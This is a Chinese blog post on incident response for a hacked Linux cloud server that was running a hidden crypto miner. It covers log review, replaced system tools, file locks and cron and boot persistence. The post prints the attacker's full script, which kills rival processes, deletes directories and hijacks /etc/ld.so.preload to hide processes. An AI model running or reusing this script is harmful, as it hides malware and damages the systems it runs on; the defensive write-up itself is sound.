當前位置: 妍妍網 > 碼農

到底誰入侵了我的伺服器!!!

2024-05-30碼農

關註上方 浩道Linux ,回復 資料 ,即可獲取海量 L inux Python 網路通訊、網路安全 等學習資料!

前言

大家好,這裏是 浩道Linux ,主要給大家分享 L inux P ython 網路通訊、網路安全等 相關的IT知識平台。

今天浩道跟大家分享 一次伺服器被入侵後的處理過程,看看是如何將幕後黑手揪出來的!

文章來源:https://www.cnblogs.com/operationhome/p/16637763.html

下文中的,給檔和目錄加鎖,是指給檔和目錄增加了一些內容,唯讀等。 chattr +ia

目錄

  • 一、伺服器入侵現象

  • 二、伺服器排查和處理

  • 2.1、伺服器被入侵的可能原因

  • 2.2、排查和處理步驟

  • 三、本次入侵需要帶來啟示的點

  • 四、本次伺服器被入侵的一些啟示

  • 一、伺服器入侵現象

    近期有一個朋友的伺服器(自己做了網站)好像遭遇了入侵,具體現象是:伺服器 CPU 資源長期 100%,負載較高。伺服器上面的服務不能正常提供服務。

    朋友處理了一會沒有解決,我開始想說我不是搞安全的,我怎麽會,但朋友開出了天價, 一頓海底撈 ,我在生活和現實面前低頭了。開始上手看看了。

    二、伺服器排查和處理

    2.1、伺服器被入侵的可能原因

    1. 伺服器 ssh 密碼 設定得很簡單。

    2. 騰訊雲安全組範圍放得很大。

    3. 使用了寶塔,寶塔面板的密碼也是很簡單的密碼(應該不是這個入侵入口)。

    2.2、排查和處理步驟

    1. ps -ef / top 找出占用行程最大的服務

      問題現象

      ps/top 命令 已經被替換了。

    2. 尋找詳細的入侵痕跡 last 或者 grep 'Accepted' /var/log/secure

      問題現象

      [root@VM-12-12-centos ~]# grep 'Accepted' /var/log/secure
      Aug 26 21:51:37 VM-12-12-centos sshd[19822]: Accepted password for root from 34.215.138.2 port 36720 ssh2
      Aug 27 08:52:05 VM-12-12-centos sshd[3053]: Accepted password for root from 127.0.0.1 port 57534 ssh2
      Aug 27 08:58:50 VM-12-12-centos sshd[7038]: Accepted password for root from 127.0.0.1 port 57548 ssh2
      Aug 27 09:10:02 VM-12-12-centos sshd[14830]: Accepted publickey for lighthouse from 106.55.203.49 port 44204 ssh2: RSA SHA256:123456/UIbl8
      Aug 27 09:10:03 VM-12-12-centos sshd[14913]: Accepted publickey for lighthouse from 81.69.102.49 port 60820 ssh2: RSA SHA256:123456/UIbl8
      Aug 27 09:14:08 VM-12-12-centos sshd[17307]: Accepted password for root from 127.0.0.1 port 57690 ssh2
      Aug 27 09:34:22 VM-12-12-centos sshd[29150]: Accepted publickey for lighthouse from 106.55.203.55 port 38044 ssh2: RSA SHA256:123456/UIbl8
      Aug 27 09:34:23 VM-12-12-centos sshd[29233]: Accepted publickey for lighthouse from 81.69.102.60 port 51190 ssh2: RSA SHA256:123456/UIbl8

      lighthouse 騰訊雲輕量伺服器

      我們在這裏就可以看到,有一些 境外IP 34.215.138.2 成功登入了,這些 IP 不是我們的正常登入。在 /var/log/secure 日誌裏,我看到了 IP 34.215.138.2 嘗試登入不到500次 就已經破解成功了。

      處理措施

      這裏我們立馬采取了第一個措施,

      1. 在騰訊雲安全組限制了 SSH 的登入 IP , 之前的安全組 SSH 是放行所有 IP

      2. 將 SSH ROOT 密碼修改。

      3. /root/.ssh/authorized_keys 備份,並清空。

        [root@VM-12-12-centos ~]# cp -rp /root/.ssh/authorized_keys /root/.ssh/authorized_keys.bak
        cp: cannot create regular file ‘/root/.ssh/authorized_keys.bak’: Permission denied

        這時我們就遇到了許可權的問題,這個晚點展開講,因為我們已經限制了源 IP , 所以這個我們可以晚點來處理。

    3. 檢視最近新增的一些使用者

      問題現象

      cat /etc/passwd

      處理措施

      釘選使用者

      [root@VM-12-12-centos ~]# usermod -L sys1

    4. 我這裏不計劃去找行程(已經在新建一台版本一致的系統, 來拷貝 top ps 命令,需要一小會,我們趁這個時間,先看看其他),因為之前朋友重新開機過伺服器,發現伺服器啟動過一會才會負載較高。我認為入侵者應該放了一些定時任務和啟動指令碼裏面。

      問題現象

      定時任務

      crond 讀取配置檔會從以下幾個路徑讀取:

      /var/spool/cron/ 未找到(後面會說到這裏有障眼法)

      /etc/crontab 未找到(後面會說到這裏有障眼法)

      但是我在 /var/log/cron 一直看到有任務執行。每間隔5分鐘。

      Aug2722:00:01VM-12-12-centos CROND[16839]: (root) CMD (/sbin/httpss >/dev/null2>&1;^M )
      Aug2722:00:01VM-12-12-centos CROND[16840]: (root) CMD (/usr/local/qcloud/YunJing/YDCrontab.sh > /dev/null2>&1)
      Aug2722:00:01VM-12-12-centos CROND[16842]: (root) CMD (/usr/lib/mysql/mysql;^Mno crontab for root )
      Aug2722:05:01VM-12-12-centos CROND[17486]: (root) CMD (/usr/lib/mysql/mysql;^Mno crontab for root )
      Aug2722:05:01VM-12-12-centos CROND[17487]: (root) CMD (/sbin/httpss >/dev/null2>&1;^M )

      處理措施

      這裏我們先做的操作就是,先把 /usr/lib/mysql/mysql /sbin/httpss 給刪除。刪除的時候還是提示沒有許可權。我們知道這些檔應該是加瑣了,所以我開始解鎖,我們發現 chattr 也被替換和鎖住了。所以不能操作下去了。

      開機啟動指令碼

      /etc/rc.local , 我們也發現了一個指令碼。

      [root@VM-12-12-centos ~]# cat /etc/rc.local
      #!/bin/bash
      # THIS FILE IS ADDED FOR COMPATIBILITY PURPOSES
      #
      # It is highly advisable to create own systemd services or udev rules
      # to run scripts during boot instead of using this file.
      #
      # In contrast to previous versions due to parallel execution during boot
      # this script will NOT be run after all other services.
      #
      # Please note that you must run 'chmod +x /etc/rc.d/rc.local' to ensure
      # that this script will be executed during boot.
      /usr/bin/0f4f80f9ab start

      但是這個檔好像不存在的,我們就把這個給註釋了。

  • /var/spool/cron/ , 由 crontab -e 進行寫入,配置檔無需指定使用者

  • /etc/crontab ,只能 root 進行編輯,配置檔需指定使用者

  • /etc/cron.d/ ,在此資料夾下建立定時任務檔,配置檔需指定使用者

  • /etc/cron.*

  • 還原更改了 top ps chattr lsattr .

    部份截圖

  • 首先我們從相同版本的機器拷貝了 chattr lsattr , 我們得先操作這個, 因為我們的 top ps 都被鎖住了。

  • 我將檔上傳至 /tmp 目錄,然後增加可執行許可權,然後先給 /usr/bin/chattr 解除釘選。

    /tmp/chattr -ai /usr/bin/chattr

  • 執行完之後,發現還是不能替換 /usr/bin/chattr 。最後耗費了一段時間才反應到,入侵者可能不僅僅加鎖了檔還加鎖了 /usr/bin/

  • 解鎖目錄

    /tmp/chattr -ai /usr/bin/

  • 這下才能把 /usr/bin/chattr 給替換掉。

  • 接下來參考這些,我們把 top ps lsattr 給還原了。

  • 三、本次入侵需要帶來啟示的點

    1. ps top chattr lsattr

      在這些命令被替換了,並且我們想還原又還原不了的場景,我們可以拷貝同版本的機器相同的命令放在其它目錄,用這些命令來解除入侵者將它已經替換並釘選了檔。註意有些入侵者不僅會在檔層面加鎖,還會在當前的檔的目錄這一層加鎖。我之前在這個上面困惑了一段時間。

    2. 檔內容隱藏

      上文中,我執行 crontab -l 和 cat 檢視 /etc/cron.d/ 下面的檔。發現檔沒有內容。

      其實不知道使用了什麽特殊字元還是什麽隱藏了, 其實是存在定時任務的。

      範例:

    這個配置是如何導致 cat/more 看不了的, 今天再次看了下,這個檔可能是被當成了數據檔,因為我把這個檔 file 檢視了之後,檔內容是data. 然後檔包含的特殊字元。導致隱藏了,我在這裏 伺服器入侵之找出隱藏字元的原理 把這個來龍去脈給講清楚了。

    1. 其中一個指令碼。

      [root@VM-12-12-centos etc]# cat /.Recycle_bin/_bt_etc_bt_.sftp_bt_.sh_t_1661768469.9859464
      #!/bin/sh
      whiletest 1 = 1
      do
      sleep 30
      pkill -f main
      killall main
      killall sprshduerjsaia
      pkill -f sprshduerjsaia
      killall dr64
      pkill -f dr64
      killall .report_system
      pkill -f .report_system
      killall sshc
      pkill -f sshc
      pkill -f memory
      killall memory
      killall warmup
      killall koko
      killall kthreaddk
      killall systemc
      killall cront
      killall xm64_linux
      killall /var/tmp/j/./intelshell
      pkill -f dos32
      pkill -f dos64
      pkill -f .name
      pkill -f /usr/sbin/dbus
      pkill -f systemd-boot-check-no-failures
      killall .report_system
      pkill -f .report_system
      pkill -f keep-alive
      pkill -f linu
      pkill -f zapppp
      killall [scan]
      killall [ext4]
      pkill -f xm64_linux
      pkill -f ddrirc
      killall ./-bash
      pkill -f ./-bash
      killall kworkers
      killall dbus
      pkill -f biden1
      pkill -f cpuminer-sse2
      killall work64
      pkill -f work64
      killall work32
      pkill -f work32
      killall aarch12
      pkill -f aarch12
      killall bash1
      pkill -f bash1
      killall intelshell
      pkill -f intelshell
      killall heaven
      pkill -f heaven
      killall .syst3md
      pkill -f .syst3md
      pkill -f apachelogs
      killall .meinkampf
      pkill -f .meinkampf
      killall xri
      pkill -f xri
      killall koko
      pkill -f koko
      killall work32-deamon
      pkill -f work32-deamon
      killall work64 -deamon
      pkill -f work64 -deamon
      killall secure.sh
      pkill -f secure.sh
      kkillall auth.sh
      pkill -f auth.sh
      killall autoupdate
      pkill -f kworkers
      pkill -f autoupdate
      killall ld-linux
      pkill -f ld-linux
      pkill -9 Donald
      killall -9 Donald
      pkill -f /usr/local/bin/pnscan
      pkill -f /usr/bin/biden1
      killall /usr/bin/biden1
      killall r
      killall trace
      pkill -f minerd
      killall minerd
      pkill -f xm64
      killall xm64
      pkill -f sysdm
      killall sysdm
      pkill -f syst3md
      killall syst3md
      pkill -f xrig
      killall xrig
      pkill -f busybox
      killall busybox
      pkill -f joseph
      killall joseph
      pkill -f osama
      killall osama
      killall daemon
      pkill -f obama1
      killall obama1
      pkill -f kswapd0
      killall kswapd0
      pkill -f jehgms
      killall jehgms
      pkill -f tsm
      killall tsm
      pkill -f rig
      killall rig
      pkill -f xmr
      killall xmr
      pkill -f playstation
      killall playstation
      pkill -f ld-linux-x86-64
      killall ld-linux-x86-64
      pkill -f ruckusapd
      killall ruckusapd
      pkill -f run64
      killall run64
      pkill -f pwnrig
      killall pwnrig
      pkill -f phpupdate
      killall phpupdate
      pkill -f sysupdate
      killall sysupdate
      pkill -f phpguard
      killall phpguard
      pkill -f firstpress
      killall firstpress
      pkill -f zerocert
      killall zerocert
      pkill -f masscan
      killall masscan
      pkill -f -bash
      pkill -f spreadQlmnop
      killall spreadQlmnop
      killall -bash
      pkill -f cnrig
      killall cnrig
      pkill -f netvhost
      killall netvhost
      pkill -f kthreadds
      killall kthreadds
      pkill -f kthreadd
      killall kthreadd
      pkill -f kdevtmpfsi
      killall kdevtmpfsi
      pkill -f linuxservice
      killall linuxservice
      pkill -f rtmonitor
      killall rtmonitor
      pkill -f dev
      killall dev
      pkill -f xmrig
      killall xmrig
      pkill -f master
      killall master
      killall sysmd
      pkill -f sysmd
      pkill -f sendmail
      killall sendmail
      pkill -f ld-musl-x86_64.
      killall ld-musl-x86_64.
      killall watchdog
      pkill -f watchdog
      pkill -f 32678
      killall 32678
      killall dhpcd
      pkill -f dhpcd
      killall linux_amd64
      pkill -f linux_amd64
      killall xredis
      pkill -f xredis
      killall Linux2.6
      killall .chornyd
      pkill -f .chornyd
      killall Opera
      pkill -f Opera
      killall libertyd
      pkill -f libertyd
      killall rcubind
      pkill -f rcubind
      killall clamscan
      pkill -f clamscan
      killall pnscan
      pkill -f pnscan
      killall zzh
      pkill -f zzh
      killall bioser
      pkill -f bioser
      rm -rf /root/.configrc/
      rm -rf /tmp/.X26-unix/
      rm -rf /tmp/.bash/
      rm -rf /root/.bash/
      rm -rf /root/.cache/
      rm -rf /tmp/.cache/
      rm -rf /dev/shm/.ssh/
      rm -rf /etc/.etcservice/linuxservice
      rm -rf /etc/.vhost/netvhost
      rm -rf /tmp/up.txt
      rm -rf /var/tmp/.update/
      rm -rf /var/tmp/.systemd/
      rm -rf /usr/sbin/.bash./.bash/
      rm -rf /etc/master
      rm -rf /usr/bin/busybox
      rm -rf /bin/sysmd
      rm -rf /tmp/.mx/
      rm -rf /dev/shm/.mx/
      rm -rf /usr/bin/xrig
      rm -rf /etc/32678
      rm -rf /root/c3pool/
      rm -rf /usr/bin/.sshd/
      rm -rf /tmp/div
      systemctl stop c3pool_miner.service
      systemctl stop pwnriglhttps.service
      systemctl stop cryto
      systemctl stop scan
      systemctl stop bot
      systemctl stop myservice.service
      systemctl stop netns.service
      systemctl stop cryptsetup.service
      echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload
      lockr +ai /etc/ld.so.preload >/dev/null 2>&1
      chmod 777 /usr/lib/mysql/*
      /usr/lib/mysql/./mysql
      done

      我們可以看到這個指令碼其實一直在 更改 /etc/ld.so.preload 的內容。並且在關閉一些掃描軟體和系統的服務。

      在 Linux 作業系統的 動態連結庫 載入過程中,動態連結器會讀取 LD_PRELOAD 環境變量的值和預設配置檔 /etc/ld.so.preload 的檔內容,並將讀取到的動態連結庫進行預載入,即使程式不依賴這些動態連結庫,LD_PRELOAD 環境變量和 /etc/ld.so.preload 配置檔中指定的動態連結庫依然會被裝載,它們的優先級比 LD_LIBRARY_PATH 環境變量所定義的連結庫尋找路徑的檔優先級要高,所以能夠提前於使用者呼叫的動態庫載入。

      ——段落引自【警惕利用 Linux 預載入型惡意動態連結庫的後門】

      我已經刪除了 /usr/local/lib/libprocesshider.so 檔,之後每次執行命令會有這個報錯。

      我在清空檔 /etc/ld.so.preload 之後,我發現好了一會後,還是出現這個,我再看 /etc/ld.so.preload 檔,裏面又寫了 /usr/local/lib/libprocesshider.so ,我懷疑還有定時任務,但是我找了一會定時任務,還是沒有找到。後面在檢視異常行程的時候,我看到了這個行程

      發現這個指令碼的就是一直在迴圈執行上面內容。將這個行程 kill 後,然後刪除指令碼。

    四、本次伺服器被入侵的一些啟示

    1. 用好雲廠家的安全組。對一些關鍵埠,放行規則盡量最小/

    2. 伺服器相關的一些密碼盡量增加復雜性。

    3. 增加對一些關鍵檔的監控. (透過監控軟體監控 md5值)

  • /etc/passwd

  • /etc/shadow

  • /etc/group

  • /root/.bash_history

  • /root/.ssh/authorized_keys

  • /etc/ssh/sshd_config

  • /etc/profile

  • /var/spool/cron/root

  • /etc/crontab

  • /etc/ld.so.preload

  • /etc/rc.local

  • lsof

  • ps

  • netstat

  • top

  • ls

  • pstree

  • last

  • history

  • sudo

  • password

  • chattr

  • lsattr

  • 伺服器入侵之後,我們需要怎麽處理才是最好的。

    https://cloud.tencent.com/document/product/296/9604

    https://help.aliyun.com/document_detail/40994.htm?spm=a2c4g.11186623.0.0.75c56956NVPBST

    1. 伺服器如果有開放SSH 遠端登入,可以設定限制登入(安全組、或者服務),只放行自己的 IP . 尋找詳細的入侵痕跡 last 或者 grep 'Accepted' /var/log/secure

      /root/.ssh/authorized_keys /etc/passwd 這些檔也可以看下。將一些新建的使用者釘選。

    2. 伺服器如果可以關閉外網,就關閉外網。在安全組層面設定下,或者路由或者NAT。

    3. 首先看下 ps/top 命令有沒有被篡改, 如果有的話, 從其他正常的機器上拷貝至伺服器上。然後執行檢視異常行程。也要查詢下 /etc/ld.so.preload 是否有被篡改。如果有的的話,記得清空裏面的內容,然後將對應的檔刪除或者重新命名。

      如果使用過程中遇到了檔不可刪,不可改的問題,需要使用 chattr -ia 檔名 如果 chattr 也被串改,那就需要從別的機器拷貝。然後復原。

    4. 如果上述沒有找到,可以透過 netstat 間接檢視異常的連線從而查詢異常行程。

    5. 檢查開機啟動 和 crontab 相關的內容 。

    6. 檢查異常行程。

    以上就是這次入侵的處理過程和得到的一些小啟示。

    更多精彩

    關註公眾號 浩道Linux

    浩道Linux ,專註於 Linux系統 的相關知識、 網路通訊 網路安全 Python相關 知識以及涵蓋IT行業相關技能的學習, 理論與實戰結合,真正讓你在學習工作中真正去用到所學。同時也會分享一些面試經驗,助你找到高薪offer,讓我們一起去學習,一起去進步,一起去漲薪!期待您的加入~~~ 關註回復「資料」可 免費獲取學習資料 (含有電子書籍、視訊等)。

    喜歡的話,記得 點「贊」 「在看」